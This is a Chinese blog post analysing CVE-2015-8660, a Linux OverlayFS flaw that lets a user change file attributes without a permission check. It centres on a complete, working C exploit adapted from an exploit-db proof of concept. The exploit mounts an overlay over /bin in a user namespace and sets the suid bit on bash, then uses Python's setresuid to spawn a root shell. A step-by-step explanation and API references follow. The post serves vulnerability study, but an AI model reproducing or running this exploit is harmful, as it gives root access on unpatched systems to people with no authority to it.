CVE-2015-8660 OverlayFS文件系統權限檢查缺陷漏洞

  overlayfs是目前使用比較廣泛的層次文件系統,實現簡單,性能較好. 可以充分利用不同或則相同overlay文件系統的page cache,具有
  1.上下合併
  2.同名遮蓋
  3.寫時拷貝
等特點。

  在FS/overlayfs/inode.c中的ovl_setattr()函數裏,當用戶對底層目錄的文件進行修改時,會將原文件複製一份到上層目錄,在這個過程中沒有對文件的權限進行檢查,導致用戶可以利用overlayfs繞過文件系統權限檢查。
  附一段更詳細的解釋:  
  The bug is in being too enthusiastic about optimizing ->setattr() away - instead of “copy verbatim with metadata” + “chmod/chown/utimes” (with the former being always safe and the latter failing in case of insufficient permissions) it tries to combine these two. Note that copyup itself will have to do ->setattr() anyway; that is where the elevated capabilities are right. Having these two ->setattr() (one to set verbatim copy of metadata, another to do what overlayfs ->setattr() had been asked to do in the first place) combined is where it breaks.

這個漏洞影響的系統內核版本:

LinuxKernel 3.18.x
LinuxKernel 4.1.x
LinuxKernel 4.2.x
LinuxKernel 4.3.x 

先附上一段可以正常執行提權的代碼,裏面還保留着我的調試信息,因爲生成了好幾個子程序,不會用GDB跟蹤調試。這段代碼改編自exploit-db上給出的poc,刪除了部分代碼後發現還是能運行,所以就用這個代碼了

/*************************************************************************
    > File Name       : overlayfs.c
    > Author          : 何能斌
    > Mail            : enjoy5512@163.com 
    > Created Time    : Tue 15 Mar 2016 01:01:22 AM PDT
    > Remake          :
        這個程序是我根據exploit-db.com上給出的POC文檔改編而來,因爲多進程
        我不會調試,所以只能加入很多輸出來查看程序運行的流程,在程序能正常
        運行的基礎上刪除了很多頭文件,少用了一次fork()
 ************************************************************************/

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sched.h>
#include<linux/sched.h>
#include<signal.h>
#include<sys/mount.h>
#include<stdlib.h>
#include<sys/stat.h>

static char child_stack[1024*1024];

static int child_exec(void *stuff)
{
    printf("entry the child_exec()\n");
    system("rm -rf /tmp/haxhax");
    mkdir("/tmp/haxhax",0777);
    mkdir("/tmp/haxhax/w",0777);
    mkdir("/tmp/haxhax/u",0777);
    mkdir("/tmp/haxhax/o",0777);

    printf("before mount\n");

    if(mount("overlay","/tmp/haxhax/o","overlay",MS_MGC_VAL,"lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w")!=0)
    {
        printf("mount failed...\n");
        fprintf(stderr,"mount failed...\n");
    }
    else
    {
        printf("mount sucess!!\n");
    }
    printf("after mount\n");

    chmod("/tmp/haxhax/w/work",0777);

    chdir("/tmp/haxhax/o");
    chmod("bash",04755);
    chdir("/");
    umount("/tmp/haxhax/o");

    return 0;
}

int main(int argc,char *argv[])
{
    int mount = 10; //用來查看程序運行的順序
    int status;
    pid_t init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    struct stat s;

    printf("%d : before the fork()\n",mount);

    if((init = fork()) == 0)
    {
        if(unshare(CLONE_NEWUSER)!=0)
        {
            printf("failed to create new user namespase\n");
        }

        mount = 11;
        printf("%d : after the fork()\n",mount);

        pid_t pid =
            clone(child_exec,child_stack + (1024*1024),clone_flags,NULL);
        if(pid < 0)
        {
            printf("error\n");
            fprintf(stderr,"failed to create new mount namespace\n");
            exit(-1);
        }
        printf("%d : after the clone()\n",mount);

        waitpid(pid,&status,0);
        return 0;
    }
    printf("%d : after the fork()\n",mount);

    usleep(30000);

    wait(NULL);

    printf("s.st_mode = %x\n",s.st_mode);
    stat("/tmp/haxhax/u/bash",&s);
    printf("s.st_mode = %x\n",s.st_mode);
    if(s.st_mode == 0x89ed)
    {
        //如果在子進程中chmod("bash",04755)成功,則運行下面的提權命令
        execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
    }
    else
    {
        printf("execl error!!\n");
    }

    return 0;
}

接下來將一步一步解釋代碼

程序一開始,先用fork()函數創建一個子進程
這裏寫圖片描述

/*fork()需要頭文件unistd.h
*一個進程,包括代碼、數據和分配給進程的資源。fork()函數通過系統調用創建一
*個與原來進程幾乎完全相同的進程,也就是兩個進程可以做完全相同的事,但如果初
*始參數或者傳入的變量不同,兩個進程也可以做不同的事。一個進程調用fork()函
*數後,系統先給新的進程分配資源,例如存儲數據和代碼的空間。然後把原來的進程
*的所有值都複製到新的新進程中,只有少數值與原來的進程的值不同。相當於克隆了
*一個自己。
*fork調用的一個奇妙之處就是它僅僅被調用一次,卻能夠返回兩次,它可能有三種不
*同的返回值:
1)在父進程中,fork返回新創建子進程的進程ID;
2)在子進程中,fork返回0;
3)如果出現錯誤,fork返回一個負值;
*fork出錯可能有兩種原因:
1)當前的進程數已經達到了系統規定的上限,這時errno的值被設置爲EAGAIN。
2)系統內存不足,這時errno的值被設置爲ENOMEM。*/

然後用unshare()將子進程從父進程中分離出來
這裏寫圖片描述

/*unshare需要頭文件 #include <sched.h>
*新的命名空間可以用下面兩種方法創建。
* (1) 在用fork或clone系統調用創建新進程時,有特定的選項可以控
*制是與父進程共享命名空間,還是建立新的命名空間。
* (2) unshare系統調用將進程的某些部分從父進程分離,其中也包括命名空間。其中CLONE_NEWUSER用於創建新的用戶和用戶組空間*/

然後用clone()函數創建一個新的進程,分配新的棧空間,使子程序完全獨立起來,以便於掛載overlay文件系統
這裏寫圖片描述

/*#include<linux/sched.h> #include<signal.h>
  fork()函數複製時將父進程的所以資源都通過複製數據結構進行了複製,然後傳遞給子進程,所以fork()函數不帶參數;clone()函數則是將部分父進程的資源的數據結構進行復制,複製哪些資源是可選擇的,這個可以通過參數設定,所以clone()函數帶參數,沒有複製的資源可以通過指針共享給子進程.
  Clone()函數的聲明如下:
int clone(int (fn)(void ), void *child_stack, int flags, void *arg)
fn爲函數指針,此指針指向一個函數體,即想要創建進程的靜態程序;
child_stack爲給子進程分配系統堆棧的指針;arg就是傳給子進程的參數;
flags爲要複製資源的標誌:
CLONE_PARENT 創建的子進程的父進程是調用者的父進程,新進程與創建它的進程成了“兄弟”而不是“父子”
CLONE_FS 子進程與父進程共享相同的文件系統,包括root、當前目錄、umask
CLONE_FILES 子進程與父進程共享相同的文件描述符(file descriptor)表
CLONE_NEWNS 在新的namespace啓動子進程,namespace描述了進程的文件hierarchy
CLONE_SIGHAND 子進程與父進程共享相同的信號處理(signal handler)表
CLONE_PTRACE 若父進程被trace,子進程也被trace
CLONE_VFORK 父進程被掛起,直至子進程釋放虛擬內存資源
CLONE_VM 子進程與父進程運行於相同的內存空間
CLONE_PID 子進程在創建時PID與父進程一致
CLONE_THREAD Linux 2.4中增加以支持POSIX線程標準,子進程與父進程共享相同的線程羣
fork()可以看出是完全版的clone(),而clone()克隆的只是fork()的一部分。爲了提高系統的效率,後來的Linux設計者又增加了一個系統調用vfork()。vfork()所創建的不是進程而是線程,它所複製的是除了任務結構體和系統堆棧之外的所有資源的數據結構,而任務結構體和系統堆棧是與父進程共用的。*/

然後程序轉到子進程
這裏寫圖片描述

  在子進程中先創建掛載overlay系統時需要的幾個目錄,w是工作目錄,o是掛載目錄,u是掛載時的上層目錄,/bin作爲掛載時的底層目錄。然後再用mount()函數掛載overlay文件系統
  /*mount()/umount()函數
功能描述:
mount掛上文件系統,umount執行相反的操作。

用法:
#include <sys/mount.h>
int mount(const char *source, const char *target,
const char *filesystemtype, unsigned long mountflags, const void *data);
int umount(const char *target);
int umount2(const char *target, int flags);

參數:
source:將要掛上的文件系統,通常是一個設備名。
target:文件系統所要掛在的目標目錄。
filesystemtype:文件系統的類型,可以是”ext2”,”ext3”,”msdos”,”proc”,”nfs”,”iso9660” 。。。
mountflags:指定文件系統的讀寫訪問標誌,可能值有以下
MS_BIND:執行bind掛載,使文件或者子目錄樹在文件系統內的另一個點上可視。
MS_DIRSYNC:同步目錄的更新。
MS_MANDLOCK:允許在文件上執行強制鎖。
MS_MOVE:移動子目錄樹。
MS_NOATIME:不要更新文件上的訪問時間。
MS_NODEV:不允許訪問設備文件。
MS_NODIRATIME:不允許更新目錄上的訪問時間。
MS_NOEXEC:不允許在掛上的文件系統上執行程序。
MS_NOSUID:執行程序時,不遵照set-user-ID 和 set-group-ID位。
MS_RDONLY:指定文件系統爲只讀。
MS_REMOUNT:重新加載文件系統。這允許你改變現存文件系統的mountflag和數據,而無需使用先卸載,再掛上文件系統的方式。
MS_SYNCHRONOUS:同步文件的更新。
MNT_FORCE:強制卸載,即使文件系統處於忙狀態。
MNT_EXPIRE:將掛載點標誌爲過時。
data:文件系統特有的參數。

返回說明:
成功執行時,返回0。失敗返回-1,errno被設爲以下的某個值
EACCES:權能不足,可能原因是,路徑的一部分不可搜索,或者掛載只讀的文件系統時,沒有指定 MS_RDONLY 標誌。
EAGAIN:成功地將不處於忙狀態的文件系統標誌爲過時。
EBUSY:一. 源文件系統已被掛上。或者不可以以只讀的方式重新掛載,因爲它還擁有以寫方式打開的文件。二. 目標處於忙狀態。
EFAULT: 內存空間訪問出錯。
EINVAL:操作無效,可能是源文件系統超級塊無效。
ELOOP :路徑解析的過程中存在太多的符號連接。
EMFILE:無需塊設備要求的情況下,無用設備表已滿。
ENAMETOOLONG:路徑名超出可允許的長度。
ENODEV:內核不支持某中文件系統。
ENOENT:路徑名部分內容表示的目錄不存在。
ENOMEM: 核心內存不足。
ENOTBLK:source不是塊設備。
ENOTDIR:路徑名的部分內容不是目錄。
EPERM : 調用者權能不足。
ENXIO:塊主設備號超出所允許的範圍。*/

掛載overlay文件系統後,因爲底層目錄是/bin文件夾,所以在掛載目錄o裏面也有/bin下的bash文件,再通過chmod()設置bash的suid位,此時修改文件屬性系統並不會檢查是否有權限修改,所以可以通過overlay文件系統修改任意文件的屬性
這裏寫圖片描述

/*chmod()
頭文件:

#include <sys/types.h>   
#include <sys/stat.h>

定義函數:int chmod(const char * path, mode_t mode);
函數說明:chmod()會依參數mode 權限來更改參數path 指定文件的權限。
參數 mode 有下列數種組合:
1、S_ISUID 04000 文件的 (set user-id on execution)位
2、S_ISGID 02000 文件的 (set group-id on execution)位
3、S_ISVTX 01000 文件的sticky 位
4、S_IRUSR (S_IREAD) 00400 文件所有者具可讀取權限
5、S_IWUSR (S_IWRITE)00200 文件所有者具可寫入權限
6、S_IXUSR (S_IEXEC) 00100 文件所有者具可執行權限
7、S_IRGRP 00040 用戶組具可讀取權限
8、S_IWGRP 00020 用戶組具可寫入權限
9、S_IXGRP 00010 用戶組具可執行權限
10、S_IROTH 00004 其他用戶具可讀取權限
11、S_IWOTH 00002 其他用戶具可寫入權限
12、S_IXOTH 00001 其他用戶具可執行權限

注:只有該文件的所有者或有效用戶識別碼爲0,纔可以修改該文件權限。基於系統安全,如果欲將數據寫入一執行文件,而該執行文件具有S_ISUID 或S_ISGID權限,則這兩個位會被清除。如果一目錄具有S_ISUID 位權限,表示在此目錄下只有該文件的所有者或root 可以刪除該文件。

返回值:權限改變成功返回0, 失敗返回-1, 錯誤原因存於errno.

錯誤代碼:
1、EPERM 進程的有效用戶識別碼與欲修改權限的文件擁有者不同, 而且也不
具root 權限.
2、EACCESS 參數path 所指定的文件無法存取.
3、EROFS 欲寫入權限的文件存在於只讀文件系統內.
4、EFAULT 參數path 指針超出可存取內存空間.
5、EINVAL 參數mode 不正確
6、ENAMETOOLONG 參數path 太長
7、ENOENT 指定的文件不存在
8、ENOTDIR 參數path 路徑並非一目錄
9、ENOMEM 核心內存不足
10、ELOOP 參數path 有過多符號連接問題.
11、EIO I/O 存取錯誤*/

到此,子程序的工作就算是完成了。在overlay文件系統裏,所有修改過的文件都將保存在上層目錄裏,所以通過子進程,我們得到了一個設置了suid位的bash

然後回到主程序,可以看到程序使用usleep()將主程序掛起一段時間,用wait()等待子進程結束。等子程序得到設置了suid位後的bash後便可以開始提權了
這裏寫圖片描述
/*usleep()
頭文件: unistd.h
語法: void usleep(int micro_seconds);
返回值: 無
內容說明:本函數可暫時使程序停止執行。參數 micro_seconds 爲要暫停的微秒數(us)。
*/
/*wait()
頭文件:

#include <sys/types.h>   
#include <sys/wait.h>

定義函數:pid_t wait (int * status);

函數說明:wait()會暫時停止目前進程的執行, 直到有信號來到或子進程結束. 如果在調用wait()時子進程已經結束, 則wait()會立即返回子進程結束狀態值. 子進程的結束狀態值會由參數status 返回, 而子進程的進程識別碼也會一快返回. 如果不在意結束狀態值, 則參數 status 可以設成NULL. 子進程的結束狀態值請參考waitpid().*/

/*waitpid()
頭文件:

 #include <sys/types.h>    
 #include <sys/wait.h>

定義函數:pid_t waitpid(pid_t pid, int * status, int options);

函數說明:
waitpid()會暫時停止目前進程的執行, 直到有信號來到或子進程結束. 如果在調用
wait()時子進程已經結束, 則wait()會立即返回子進程結束狀態值. 子進程的結束狀態值會由參
數status 返回, 而子進程的進程識別碼也會一快返回. 如果不在意結束狀態值, 則參數status
可以設成NULL. 參數pid 爲欲等待的子進程識別碼, 其他數值意義如下:
1、pid<-1 等待進程組識別碼爲pid 絕對值的任何子進程.
2、pid=-1 等待任何子進程, 相當於wait().
3、pid=0 等待進程組識別碼與目前進程相同的任何子進程.
4、pid>0 等待任何子進程識別碼爲pid 的子進程.

參數option 可以爲0 或下面的OR 組合:

WNOHANG:如果沒有任何已經結束的子進程則馬上返回, 不予以等待.
WUNTRACED:如果子進程進入暫停執行情況則馬上返回, 但結束狀態不予以理會. 子進程的結束狀態返回後存於status, 底下有幾個宏可判別結束情況
WIFEXITED(status):如果子進程正常結束則爲非0 值.
WEXITSTATUS(status):取得子進程exit()返回的結束代碼, 一般會先用WIFEXITED 來判斷是否正常結束才能使用此宏.
WIFSIGNALED(status):如果子進程是因爲信號而結束則此宏值爲真
WTERMSIG(status):取得子進程因信號而中止的信號代碼, 一般會先用WIFSIGNALED 來判斷後才使用此宏.
WIFSTOPPED(status):如果子進程處於暫停執行情況則此宏值爲真. 一般只有使用
WUNTRACED時纔會有此情況.
WSTOPSIG(status):取得引發子進程暫停的信號代碼, 一般會先用WIFSTOPPED 來判斷後才使用此宏.

返回值:如果執行成功則返回子進程識別碼(PID), 如果有錯誤發生則返回-1. 失敗原因存於errno 中.*/

子進程結束後,主進程用stat()函數獲取得到的bash文件的信息,檢查權限是否被設置了suid位,如果設置了則提權操作,否則退出程序
這裏的提權語句很簡單,使用Python,導入os模塊,先用setresuid()設置當前進程的ruid,euid,suid爲0,即root,
setresuid()被執行的條件有:

①當前進程的euid是root

②三個參數,每一個等於原來某個id中的一個

因爲/tmp/haxhax/u/bash被設置了suid位,所以以這個bash執行的程序將臨時具有root權限,使得setresuid()被成功執行。
因爲當前進程的euid爲0,所以之後的語句/bin/bash則以root的身份打開一個終端,至此,我們便得到了一個root權限的bash,提權成功

這裏寫圖片描述

/*stat()
表頭文件:

 #include <sys/stat.h>
 #include <unistd.h>

定義函數: int stat(const char *file_name, struct stat *buf);
函數說明: 通過文件名filename獲取文件信息,並保存在buf所指的結構體stat中
返回值: 執行成功則返回0,失敗返回-1,錯誤代碼存於errno

錯誤代碼:
ENOENT 參數file_name指定的文件不存在
ENOTDIR 路徑中的目錄存在但卻非真正的目錄
ELOOP 欲打開的文件有過多符號連接問題,上限爲16符號連接
EFAULT 參數buf爲無效指針,指向無法存在的內存空間
EACCESS 存取文件時被拒絕
ENOMEM 核心內存不足
ENAMETOOLONG 參數file_name的路徑名稱太長*/

/*struct stat {
dev_t st_dev; //文件的設備編號
ino_t st_ino; //節點
mode_t st_mode; //文件的類型和存取的權限
nlink_t st_nlink; //連到該文件的硬連接數目,剛建立的文件值爲1
uid_t st_uid; //用戶ID
gid_t st_gid; //組ID
dev_t st_rdev; //(設備類型)若此文件爲設備文件,則爲其設備編號
off_t st_size; //文件字節數(文件大小)
unsigned long st_blksize; //塊大小(文件系統的I/O 緩衝區大小)
unsigned long st_blocks; //塊數
time_t st_atime; //最後一次訪問時間
time_t st_mtime; //最後一次修改時間
time_t st_ctime; //最後一次改變時間(指屬性)
};

st_mode 應該是一個32爲的整形變量,現在的linux系統只用了其中的前16位(0-15)
第15位:其實這一位只用到了一次:
  0170000 (和12-14位合起來,是獲得文件類型的屏蔽信息)
12-14位:三位確定了文件的類型(linux文件的類型總共有7中,三位就夠了)
11-10位: 這2位分別是是文件用戶id和組id位
9位:這位是sticky位
8-0位:這就是文件的訪問權限的集合了
先前所描述的st_mode 則定義了下列數種情況:
S_IFMT 0170000 文件類型的位遮罩
S_IFSOCK 0140000 scoket
S_IFLNK 0120000 符號連接
S_IFREG 0100000 一般文件
S_IFBLK 0060000 區塊裝置
S_IFDIR 0040000 目錄
S_IFCHR 0020000 字符裝置
S_IFIFO 0010000 先進先出

S_ISUID 04000 文件的(set user-id on execution)位
S_ISGID 02000 文件的(set group-id on execution)位
S_ISVTX 01000 文件的sticky位

S_IRUSR(S_IREAD) 00400 文件所有者具可讀取權限
S_IWUSR(S_IWRITE)00200 文件所有者具可寫入權限
S_IXUSR(S_IEXEC) 00100 文件所有者具可執行權限

S_IRGRP 00040 用戶組具可讀取權限
S_IWGRP 00020 用戶組具可寫入權限
S_IXGRP 00010 用戶組具可執行權限

S_IROTH 00004 其他用戶具可讀取權限
S_IWOTH 00002 其他用戶具可寫入權限
S_IXOTH 00001 其他用戶具可執行權限

上述的文件類型在POSIX中定義了檢查這些類型的宏定義:
S_ISLNK (st_mode) 判斷是否爲符號連接
S_ISREG (st_mode) 是否爲一般文件
S_ISDIR (st_mode) 是否爲目錄
S_ISCHR (st_mode) 是否爲字符裝置文件
S_ISBLK (s3e) 是否爲先進先出
S_ISSOCK (st_mode) 是否爲socket*/

本文章所涉及的代碼和漏洞原文件,打了補丁之後的文件都可以在我的GitHub上下載得到https://github.com/whu-enjoy/cve-2015-8660.git

兩篇比較好的參考文章
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=acff81ec2c79492b180fade3c2894425cd35a545

http://bobao.360.cn/snapshot/index?id=150266

發佈了42 篇原創文章 · 獲贊 37 · 訪問量 14萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章